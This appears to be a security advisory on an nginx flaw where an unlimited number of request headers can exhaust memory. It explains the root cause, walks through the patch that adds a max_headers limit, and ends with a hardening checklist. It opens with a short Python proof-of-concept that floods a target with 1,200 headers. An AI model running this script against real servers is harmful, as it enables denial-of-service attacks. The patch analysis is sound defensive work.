The Exploit
Unauthenticated remote attacker can force nginx to accept an unbounded number of request headers and exhaust memory.
python3 - <<'PY'
import socket
host = "TARGET"
port = 80
s = socket.create_connection((host, port), timeout=10)
headers = "\r\n".join(f"X-Header-{i}: value{i}" for i in range(1200))
req = f"GET / HTTP/1.1\r\nHost: {host}\r\n{headers}\r\n\r\n"
s.sendall(req.encode())
print(s.recv(4096).decode(errors="replace"))
s.close()
PY
This attack sends 1,200 header lines in one request. On a vulnerable nginx build the connection is accepted and the request continues to be processed; on patched builds it is rejected after 1,000 lines with 431 Request Header Fields Too Large.
What the Patch Did
Before:
/* a header line has been parsed successfully */
h = ngx_list_push(&r->headers_in.headers);
if (h == NULL) {
ngx_http_close_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR);
}
After:
/* a header line has been parsed successfully */
if (r->headers_in.count++ >= cscf->max_headers) {
r->lingering_close = 1;
ngx_log_error(NGX_LOG_INFO, c->log, 0,
"client sent too many header lines");
ngx_http_finalize_request(r,
NGX_HTTP_REQUEST_HEADER_TOO_LARGE);
break;
}
h = ngx_list_push(&r->headers_in.headers);
if (h == NULL) {
ngx_http_close_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR);
}
The patch adds a new max_headers configuration parameter in src/http/ngx_http_core_module.c, initializes it with NGX_CONF_UNSET_UINT, and merges it as 1000 by default. It then enforces that limit in both the HTTP/1 request parser and the HTTP/2 header handling path before pushing a parsed header into r->headers_in.headers.
Root Cause
This is an uncontrolled resource consumption bug (CWE-400). Nginx parsed each incoming request header line and appended it into r->headers_in.headers without any cap on the total number of headers. The attacker-controlled data is the number of header lines in the request; it enters through the network parser and reaches the sink when the request parser calls ngx_list_push() for every header. Because there was no limit in ngx_http_request.c or src/http/v2/ngx_http_v2.c, a client could send an arbitrary header count and force nginx to allocate unbounded memory or hit per-request resource exhaustion.
Why It Works
The single load-bearing change is the runtime limit check:
if (r->headers_in.count++ >= cscf->max_headers)
Without that line, every header line would still be accepted and appended, so the vulnerability remains exploitable. The surrounding patch lines set up the new control: max_headers is declared, initialized, and merged with a safe default of 1000, while the ngx_http_finalize_request(...NGX_HTTP_REQUEST_HEADER_TOO_LARGE) branch provides clean rejection once the limit is exceeded. The counter increment and comparison are the actual defence; the rest is configuration plumbing and logging.
Hardening Checklist
- enforce a maximum header count in the request parser, not just maximum header size; use a dedicated counter like
r->headers_in.count. - reject requests early with an appropriate HTTP error (
NGX_HTTP_REQUEST_HEADER_TOO_LARGE) once the limit is reached. - make limits configurable via a directive such as
max_headers, and initialize them withNGX_CONF_UNSET_UINT/ngx_conf_merge_uint_value. - apply the same header-count enforcement to both HTTP/1 and HTTP/2 code paths.
- do not rely solely on
ngx_list_push()failure for exhaustion protection; add explicit pre-allocation limits.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-49975